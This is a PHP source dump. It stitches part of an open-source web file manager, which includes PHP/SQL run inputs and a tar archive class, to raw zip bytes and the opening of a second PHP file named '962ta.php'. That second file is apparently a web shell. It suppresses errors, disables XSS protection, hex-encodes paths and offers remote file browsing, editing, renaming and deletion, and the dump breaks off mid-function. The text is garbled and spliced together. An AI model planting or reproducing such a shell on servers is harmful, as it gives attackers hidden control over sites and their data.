        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<td>	
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK�jm\Aj�%\%\	962ta.phpnu�[���<?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH']) 
         && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';

function hex($n) {
    $y='';
    for ($i=0; $i < strlen($n); $i++){
        $y .= dechex(ord($n[$i]));
    }
    return $y;
}
function uhex($y) {
    $n='';
    for ($i=0; $i < strlen($y)-1; $i+=2){
        $n .= chr(hexdec($y[$i].$y[$i+1]));
    }
    return $n;
}
if (isset($_GET["d"])) {
    $d = uhex($_GET["d"]);
    if (is_dir($d)) {
        chdir($d);
    } else {
        $d = getcwd();
    }
} else {
    $d = getcwd();
}
function setFlash($status, $msg) {
    $_SESSION['status'] = $status;
    $_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
    ?>
    <table>
        <thead>
            <tr>
                <th>Name</th>
                <th>Size</th>
                <th>Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        foreach ($dirList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
            echo '<td>-</td>';
            echo '<td></td>';
            echo '</tr>';
        }
        foreach ($fileList as $entry) {
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            echo '<tr>';
            echo '<td>' . htmlspecialchars($entry) . '</td>';
            echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
            echo '<td>';
            echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
            echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
            echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
            echo '</td>';
            echo '</tr>';
        }
        ?>
        </tbody>
    </table>
    <?php
    exit;
}

if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
    $k = preg_split("/(\\\\|\/)/", $d);
    $breadcrumbHtml = '';
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            $breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        $breadcrumbHtml .= '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            $breadcrumbHtml .= hex($k[$i]);
            if ($i != $m) $breadcrumbHtml .= '2f';
        }
        $breadcrumbHtml .= '">'.$l.'</a>/';
    }
    echo $breadcrumbHtml;
    exit;
}

function safe_stream_copy($in, $out): bool {
    if (PHP_VERSION_ID < 80009) {
        do {
            for (;;) {
                $buff = fread($in, 4096);
                if ($buff === false || $buff === '') {
                    break;
                }
                if (fwrite($out, $buff) === false) {
                    return false;
                }
            }
        } while (!feof($in));
        return true;
